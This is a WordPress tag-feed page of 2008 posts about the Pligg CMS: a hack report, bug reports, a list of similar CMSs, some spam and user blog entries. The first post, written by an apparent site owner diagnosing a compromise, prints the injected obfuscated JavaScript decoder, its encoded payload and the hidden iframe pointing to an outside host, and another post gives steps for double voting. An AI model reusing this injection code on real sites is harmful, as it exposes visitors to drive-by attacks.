pligg « WordPress.com Tag Feed

Recent Reports of pligg sites being hacked yet again

pliggsucks — Wed, 08 Oct 2008 03:09:55 +0000

My pligg was hacked too. While I took the suggested measures in this forum I also dug in to find out what was going on.

The script that was added just befor the closing body tag of my site has two parts. The first part simply unescapes a string which results in the following function:
<script language="javascript">
function dF(s){var s1=unescape(s.substr(0,s.length-1)); var t='';for(i=0;i<s1.length;i++)t+=String.fromCharCod e(s1.charCodeAt(i)-s.substr(s.length-1,1));document.write(unescape(t));}
</script>

The second part runs the function passing it a string that gets parsed and written as the following:
<iframe src="http://sexonline.fake.hu/10/js_go_f1.php" style="display:none"></iframe>

The full encoded script that produces the above looks like:
<script language=javascript>
document.write(unescape('%3C%73%63%72%69%70%74%20% 6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72 %69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%2 8%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61% 70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C %65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3 D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E% 6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72 %69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%2 8%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29% 2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74 %68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2 E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74% 29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%286 Fliudph%2853vuf%286G%2855kwws%286D22vh%7Brqolqh1id nh1kx2432mvbjrbi41sks%2855%2853vw%7Coh%286G%2855gl vsod%7C%286Dqrqh%2855%286H%286F2liudph%286H3');
</script>

I have run across this before on some of the high volume sites that I manage. There are a lot of resources to tell you how to block the IP addresses of the common attackers, but that can always change.

The one successful way that we were able to get around it was to put a script in place that will cache your clean file structure, monitor it, and disallow any changes to it unless specified in the config file. It cannot "stop" the hacer, but it will ensure that if they do get in they cannot be successful in contaminating your site and scaring off your visitors.

http://forums.pligg.com/general-help/14309-my-pligg-site-hacked-2.html

You Can Submit same story/url twice.

pliggsucks — Wed, 08 Oct 2008 03:05:46 +0000

During submission user can submit same story by posting once using www. and once without www.

http://forums.pligg.com/bug-report/15119-minor-submit-same-story-url-twice.html

double vote made easy on a pligg based website

pliggsucks — Wed, 08 Oct 2008 03:01:26 +0000

There is a problem in the voting system that compromises all not-so-huge pligg-based communities.

When an identified user votes, checks are made not to allow him to vote twice. This works as well when an anonymous user votes, on the IP basis.

But when an identified user votes, then disconnects (or open the app in an other browser), he can vote twice as anonymous.

This is a problem for all localized or specialized communities that have ten or so votes per link.

- tested version: 9.9.5

- way to reproduce:
1. login
2. vote
3. logout
4. vote

http://forums.pligg.com/bug-report/14871-double-vote-made-easy.html

dollars5 disappeared?

pliggsucks — Wed, 08 Oct 2008 02:57:48 +0000

Anyone been dealing with dollars5 lately? I payed them to build some custom features for my pligg site and needed some changes made and have been emailing them and havent heard from them in six days, Ive sent 5 emails and havent gotten a single reply, any idea where they might be?!?

http://forums.pligg.com/off-topic/15181-dollars5-disappeared.html

Pligg, The Open Source Digg Clone

ucanhireme — Sun, 28 Sep 2008 05:09:38 +0000

Pligg is an open source Content Management System (CMS) available to download for free. Pligg has perfected content management in a unique way that encourages users to participate and control the content on the site. This makes the site user-moderated and allows for "social publishing" where the stories are created and promoted by members not website editors. Pligg CMS is based on PHP and MySQL technologies that allow it to be installed on almost any web host on a relatively small budget. For support please visit the Pligg Forum where you can find help 24 hours a
day thanks to our excellent development team and contributors. Pligg is free software, but you are welcome
to donate any amount by clicking the button below.

XSS vulnerability on comment?

www.noserub.com

Demo:

http://identoo.com/social_stream/

Download:

http://noserub.googlecode.com/files/noserub-0.6.zip

More social open source : Download:

http://forums.pligg.com/downloads.php

http://sourceforge.net/project/platformdownload.php?group_id=176676

Heres a few to get the list started:
http://www.drupalution.com/mods
http://www.phpizabi.net/?L=cms.infos.about
http://markaboo.com/
http://sourceforge.net/projects/scuttle/
http://www.pligg.com/
http://www.joomlapolis.com/

http://kubelabs.com/phpdugg.php

http://elgg.org/

http://www.freeglobes.net/

http://www.upwarded.com/

http://www.blinkk.org/

http://wiki.newscloud.com/index.php/…Media_Platform

(demo) http://newscloud.com/

Vor dem Neustart ... Captcha testen

ring2 — Mon, 25 Aug 2008 15:35:52 +0000

Ok, ihr habt mich überzeugt.
Viele E-Mails und die Kommentare nach meinem GAU-Posting von letzter Woche haben mich davon überzeugt, dass ein sauberer Schnitt das Beste sei.

Ich werde versuchen aus den alten Daten die schönsten Perlen nochmals zu extrahieren - immerhin sollen die ja bei lieb-link zeitlos sein ;)

Derzeit teste ich - eher unfreiwillig - die Spammer-Blockaden. Das Addieren-Captcha versagt nämlich und auch ohne Startseite ist meine Testinstallation schon wieder voll mit Spamaccounts.
Ich teste nu die Captchas durch, und melde mich wieder ;)

Erik

Menéame ya tiene competencia

AFO — Wed, 23 Jul 2008 05:21:28 +0000

En el universo de los CMS en castellano a Menéame le ha salido un hermanito. Muéveme es el nombre de este nuevo gestor de contenidos que tiene un funcionamiento muy similar al de su veterano hermano.

Cualquier usuario puede publicar una noticia y si el resto de visitantes la encuentran interesantes estos la votan para que se promovida a la categoría de publicada.

Hay que decir que al estar empezando la cantidad de noticias publicadas dista mucho de ser la esperada para este tipo de servicio pero parece que lo intentan arreglar permitiendo unas reglas de publicación más flexibles que Menéame.

Actualización: Leo aquí que es posible manipular el servicio de Menéame para conseguir promocionar los envíos.

Pligg diggs pigs...

jenipaluska — Mon, 16 Jun 2008 23:05:12 +0000

Today I worked on installing and configuring Pligg. This is very similar to wordpress in the sense that you can download and install different templates. Then you can edit them from within the application.

The Geeky Way: I found that using the extension Firebug with the browser Firefox really helped.

While looking for help I was reading a lot of postings about the problems with Pligg but I have to say that I was impressed with the breadth and depth of this application. They have thought of just about everything (Registration, Forgot Password, Management of postings, etc.).

Today's Challange: I was a little frustrated that the 9.9.0 versions Pligg (the most recent) has problems with the modules and templates. However, I found a template that was compatible with 9.9.0 and it is working well now.

Also while working on the design a friend showed me this website "www.colourlovers.com". I like this site mostly because I am a design-lackey (I lack the ability to design). But even more than that fact I love the hearts in the favicon.

Something Silly: I can not help but laugh everytime I read 'Pligg' it looks so much like 'Pig' and not the intended 'Digg'.

Till next time...

Categories of diggsamachar

diggsamachar — Mon, 16 Jun 2008 02:09:41 +0000

Here are the categories of diggsamachar.

...oDesk my Office/Heaven...

ucanhireme — Thu, 22 May 2008 12:56:12 +0000

Certified Professionals. Verified Work.

oDesk My Office/Heaven

Hi,
I work at oDesk...you see i got a heaven at earth? :( don't you believe me..???? ok just signup and test oDesk ...i swear if you have little patient and if you interested to earn from home...test heaven happyness then .:) believe me...signup and start apply oDesk job. Give oDesk tests to increase your job quota.

Ohh You want to post a job....No worry...you come at right place ...oDesk is the best place where you can get the planet best service from a 10000000000million talents at this planet...you confuse????Oh ok man just go to odesk and post a job....and dont forgot to email me...if i am right...

Oh...you want to hire me...all right ...just click me

I would like you see at odesk soon....

Thanks

shahin

shahinbdboy@gmail/yahoo.com

Groggit - AdSense Revenue Sharing

Lorenzo Zanirato — Sat, 19 Apr 2008 11:15:05 +0000

Cos'è Groggit?
Un sistema per salvare e condividere i tuoi preferiti e allo stesso tempo guadagnare! Groggit ti permette infatti di pubblicare tutto ciò che ritieni utile per una lettura presente o futura, per condiverlo con gli altri utenti, o semplicemente per far conoscere il tuo blog o sito.

Gli articoli che pubblicherai potranno essere votati dagli altri utenti in base a quanto saranno ritenuti interessanti e/o utili, quindi è importante pubblicare contenuti di qualità. Tu potrai fare lo stesso con ciò che sarà pubblicato dagli altri utenti.I migliori articoli saranno pubblicati automaticamente in base ai voti più alti direttamente in home page garantendoti una maggiore visibilità! Groggit ti permette allo stesso tempo di guadagnare!

Se utilizzi Google AdSense, Groggit ti permette di inserire il tuo codice AdSense in ogni articolo pubblicato, il sistema gestirà gli annunci pubblicati nei tuoi articoli garantendoti il 50% delle esposizioni, andando così ad aumentare i tuoi introiti!

Il sito è ancora in fase beta, il tema in via di sviluppo (quindi non prendete paura).
Ricordo che per i primi 50 iscritti al sito, lo share AdSense verrà innalzato all' 80%!

Groggit si aggiunge ai più famosi Diggita e Pligg

Pligggggggg?

lizrd — Wed, 05 Mar 2008 05:07:27 +0000

The past couple of days, Pligg has been plaguing me. To answer your question, Pligg is not a very fat and jolly boar, but instead a content management system similar to digg. Basically, content is posted and people vote on the most popular item to raise it to the top of the heap. Pligg is currently a freeware version of this as it's still in beta. And what that means for Pligg is that it doesn't have the most user friendly method of customizing things. This is mainly because I am no PHP expert by any means (though I just might be after finishing up with ol' pliggy).

Round 1- I create a MySQL database, upload files, and change the CHMOD according to Pligg's install instructions. There's a little bit of guess work as they don't spell it out and have neglected to update the instructions for the 9.9 version. It's a little bit difficult mainly due to my inexperience with installing databases, but eventually it's complete. I log in, everything looks great, I change the password, and Pligg promptly locks me out of my own website for no particular reason that I can figure out (Yes, yes, I'm one of those irrational people that tend to blame the technology and not my brain-but I'm working on it. And seriously, Pligg had it in for me). So I uninstall, reinstall, and swiftly establish an account. All is well.

Round 2-The person I'm working for wants some modifications. Should be pretty simple, right? No. The optimist inside my head keeps saying, "Well, there's got to be a simpler way...." and the pessimist tells her to shut up and help her surf the Pligg forums. Though there's some great people on there that offer a variety of solutions, they are winding and not very awesome when you do random searches. So it takes me a little while to find some tutorials/modifications/hacks for the system. I implement a few. Pligg breaks and gives me an error message that I cannot decipher, despite surfing the forums. After putting the default settings back one by one, testing and still having a broken site, the pessimist wins. I'll reinstall tomorrow.

Round 3- Reinstall, carefully do the most necessary changes, find solutions in random places (who would've thought you change tab text by going into the languages section?), and finally start putting content up on my functioning site, relieved to be done with customization.

In short, unless you know php, Pligg is rather difficult. Or maybe you just have more patience than me. If you want a free CMS, have at it, but if you can, wait until they release the 1.0 version that I can only hope is less buggy and more user friendly. Then again, Pligg 1.0 may not be free, so I guess it all depends on how much you value your time versus your money.